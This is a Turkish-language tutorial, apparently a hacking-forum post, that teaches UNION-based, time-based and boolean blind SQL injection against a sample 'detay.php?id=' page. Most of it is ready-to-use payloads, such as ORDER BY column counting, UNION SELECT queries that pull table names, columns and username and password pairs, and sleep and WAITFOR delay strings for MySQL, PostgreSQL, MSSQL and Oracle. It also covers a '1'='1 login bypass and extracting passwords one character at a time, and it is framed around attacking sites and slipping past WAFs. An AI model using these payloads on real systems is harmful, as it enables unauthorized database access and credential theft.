UNION SELECT BASED SQL İNJECTİON
Merhaba, bugün UNION bazlı sql açıklarını işleyeceğim. Kısaca tabir ile saldırganın hedef site üzerinde var olan sql sorgusunu bozup kendi sql sorgularını çalıştırması olarak düşünebiliriz. Kısacası veritabanı'na müdehale etme işlemi diyebiliriz. Küçük bir örnek ile ilerleyelim
SELECT * FROM products WHERE product_id = '1';
Product_id kolonunun 1 numaralı verisini alıp kullanıcıya gösterecek, pekala olayı ofansif yönünden düşünerek ilerleyelim, örneğin "detay.php?id=1" verisini çağırıyorum. Öncelikle sql'in syntax yapısını bozmak için tek tırnak yani ' kullanabiliriz. Bu vermiş olduğum örnekler ile syntax'ı bozmayı deneyebilir bunlarla işlem yapmayı deneyebilirsiniz. Keza sadece tırnak atıp testi ona göre devretmek yerine şunları deneyelim.
'
')
'))
''))
")
`))
Keza açığın varlığını anlamak için detay.php?id=1' and '1'='1 gibi sorgular verebilir (ve bir eşitmidir bire?) şeklinde sorgular döndürebilir hatta detay.php?id=2-1; vererek gerçekten sql'in çıkarma işlemi yapıp bize 2. yi değilde 1. içeriği getirip getirmeyeceğini test edebilirsiniz.
Genellikle web siteleri karşınıza 10 yıl önceki gibi mysql error gibi şeyler vermeyebilir. Örneğin site'nin yapısında değişikler olabilir veya Content-Length değerleri değişebilir. Bunlarla beraberinde sadece 'cart+curt+1,2,3 diye gidip waff'a takılmak yerine ;
(1) - ('1') - 1 - NULL - 'abc' - NULL OR 1=1 - true OR 1=1 - """abc"""
Bunları kullanıyor olmamızın nedenlerinden bazen sql açığını sömürmek veya bypass gibi işlemler için kullanıyor olacağız. Şimdi ufak bir örnek yapalım, "detay.php?id=1" olan değerimin baştan detay.php?id=1' vererek hata aldırtıyorum, bu işlemin ardından order by a geçerek sütünlarımı bulmalıyım. Yoksa UNION (iki sql sorgusunu birleştirmek için kullanacağız) SELECT deyip de sabaha kadar arama yapabiliriz. Aslında sadece UNION select verip de ilerleyebilirsiniz, lakin işin içine waff giricek, normalde order by kısmını engellemezler, bu yüzden işiniz bir tık kolaylaşabilir.
detay.php?id=1'+order+by+1 = 500 server error
detay.php?id=1'+order+by+1,2 = 500 server error
detay.php?id=1'+order+by+1,2,3 = 200 ok
Aslında çalışabilir, lakin yorum satırı bırakarak sorgunun geri kalanını etkisiz hale getirmek için kullanılır. Hedef sistemin sql mimarisi Oracle, Mysql v.s olabilir bunun için şöyle komut satırlarını bırakalım.
--+-
-- -
---+
#
--
detay.php?id=1'+order+by+1,2,3--+- değerini verdiğimde ise asıl sütünların tespitini yaptık, artık UNION kullanacağız. Öncelikle detay.php?id=1'+UNION+SELECT+NULL,NULL,NULL--+- değerini verdiğimde ekranda sayı değerlerim çıkıyor çıkmasına ama sürekli aşağı in yukarı çık böyle olmuyor diyorsanız değeri negatif yaparak ilerleyin veya var olmayacak bir sorgu seçin.
detay.php?id=-1'+UNION+SELECT+NULL,NULL,NULL--+-
detay.php?id=-99999999'+UNION+SELECT+NULL,NULL,NULL--+-
detay.php?id=1'+UNION+SELECT+'abc','def','ghk'--
Bunlarla beraber eğer ki bulduğunuz sütun sayınız az ise string concatenation işlemi yapabilirsiniz. Aslında bir nevi birleştirme işlemine yarıyor. Örneğin 2 adet sütun budunuz ve işlem yapamıyorsunuz, şu şekilde deneyebilirsiniz.
detay.php?id=1' UNION SELECT username || '~' || password FROM users--
Artık ekranınız tertemiz işlemler yapabilirsiniz, ben sistemin mysql kullandığını varsayarak bana bastırılan sonuçtaki "2" değer üzerinden testlerimi gerçekleştireceğim.
Mysql'in versionunu öğrenmek için ;
detay.php?id=-99999999'+UNION+SELECT+NULL,version(),NULL--+- deyip bana bastırılacak olan sonuçlara göre işlem yapabilirim. Daha temel detaylı veriler öğrenmek için user(),database() gibi sorgular yapabiliriz.
Varsayalım ki database isimlerini v.s ayıktıramadık, bunun için default olan information_schema üzerinden veri toplamaya çalışalım. Öncelikle tablo adlarımı öğrenip ardından kolonlar ile testlerinizi devam ettirebilirsiniz.
detay.php?id=1'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--+- (bu işlemde tablo isimleri çıkarttık)
detay.php?id=1'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_THT='users_THT'-- (tablonun kolonlarından bilgi alıyoruz)
detay.php?id=1'+UNION+SELECT+username_lyxG,+password_lyxG+FROM+users_THT-- (datayı çekiyoruz)
Konunun İlk part'ı olduğu için bu kadar tutmayı tercih ettim, içerikte herhangi bir hatam veya eksiğim varsa belirtin hemen değiştiririm.
TİME BASED SQL İNJECTİON
Bu konuda ise zaman bazlı sql açıklarına değineceğiz. Zaman tabanlı SQL enjeksiyonu, saldırganın hedef SQL servisinin sorgusunda gerçekleşme süresini veya yanıt süresini kontrol etmesini sağlar. Örnek yapmaya başlayalım.
detay.php?id=1' + sleep(10)
detay.php?id=1' and sleep(10)
detay.php?id=1' && sleep(10)
detay.php?id=1' | sleep(10)
detay.php?id=1' || pg_sleep(10)
detay.php?id=1' WAITFOR DELAY '0:0:10'
detay.php?id=1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
detay.php?id=1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
detay.php?id=1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
detay.php?id=1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
detay.php?id=1' AND (SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END)--
detay.php?id=1' AND IF(ASCII(SUBSTRING((SELECT database()),1,1))=97, sleep(10), 0)--
detay.php?id=1' AND (SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE 1/(SELECT 0) END)--
detay.php?id=1' AND (SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE 1 END)--
detay.php?id=1; IF SYSTEM_USER='sa' WAIT FOR DELAY '00:00:15'
Bu sayede sistemin bize yanıt verme süresini kendi üzerimize çekip istediğimiz zaman yanıt vermesine olanak sağladık. Lakin diğer kullanıcılar bu durumdan etkilenmiyor. Bunun için aşağıdaki ufak bir örneğe bakabilirsiniz.
Örneğin bir web login sayfası buldunuz, ve testler yaparken username=administrator' and sleep(10) şeklinde payload test ettiniz. Bu durumu bir ihtimal bloean based injection türüne çevirilebilir. Örneğin :
username= administrator' and (select sleep(10) from dual where database() like '%')
username=administartor' AND (select sleep(10) from dual where database() like 'a%');-- -
Bu şekilde hali hazırda testler yapıp sistem üzerinde davranışlarını inceleyerek brute force bazında testler yapıp veri tabanındaki verileri okumayı amaçlayabiliriz.
Aşağıda daha detaylı yazdığım için bu kısmı burada bitirdim.
BLİND BASED SQL İNJECTİON
Boolean Based: Sorgu sonucunun doğru veya yanlış olup olmadığını test ederek bilgi elde etmeye çalışır. Bu bilgi aşamasında web sayfasının uzunluğu, sayfanın yapısında değişiklik olup olmaması vs İlk yazdıklarımızdan ziyade kesin bir bilgi edinemiyoruz, bunun için işin içine analiz girmeye başlıyor.
Time Based: Zaman bazlı, saldırganın hedef SQL servisinin gerçekleşme süresini elle bu durumu etkileyen bir durumdur.
Örneğin en basitinden web loginleri ele alalım. Öncelikle bir loginimiz olsun;
username: admin' and '1'='1
password: admin' and '1'=1
Bu yaptığımız işlemde blooean bazlı yani, admin var olan bir username bilgisi. Bununla beraber şifreyi bilmiyoruz ama sql açığı test ettiğimizden ve operatörünü koyup '1'='1 yani bir eşit midir bire ? diyerek koşul ne olursa olsun tav olup login kısmını bypass etmiş oluyoruz.
Aşağıda bulunan örnekte ise SUBSTR açarak users tablosu içinden lyxG adlı lamerin şifresinde'ki ilk hanesinin b harfinden büyükmü küçük mü ? (brute force) işlemi yapıyoruz.
boolean blind : detay.php?id=1' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'lyxG'), 1, 1) > 'b
boolean time : detay.php?id=1' AND IF(SUBSTRING((SELECT password FROM Users WHERE username = 'lyxG'), 1, 1) > 'a', sleep(10), 1)--
boolean time : detay.php?id=1' AND IF(ASCII(SUBSTRING((SELECT password FROM Users WHERE username = 'lyxG'), 1, 1)) > 100, sleep(10), 1)--
boolean time : detay.php?id=1' AND IF(ORD(SUBSTRING((SELECT password FROM Users WHERE username = 'lyxG'), 1, 1)) > 100, sleep(10), 1)--
boolean time : detay.php?id=1' AND IF((SELECT BIT_COUNT(ASCII(SUBSTRING((SELECT password FROM Users WHERE username = 'admin'), 1, 1)) & 0xF0)) > 4, sleep(10), 1)--
İşlemlerin kiminde düz brute force yaparken durumu ASCII gibi değerler üzerinden karakter karşılaştırmaları yaparak zaman tabanlı veri elde etmeyi amaçladık.
Konu şimdilik bu kadar, iyi akşamlar.
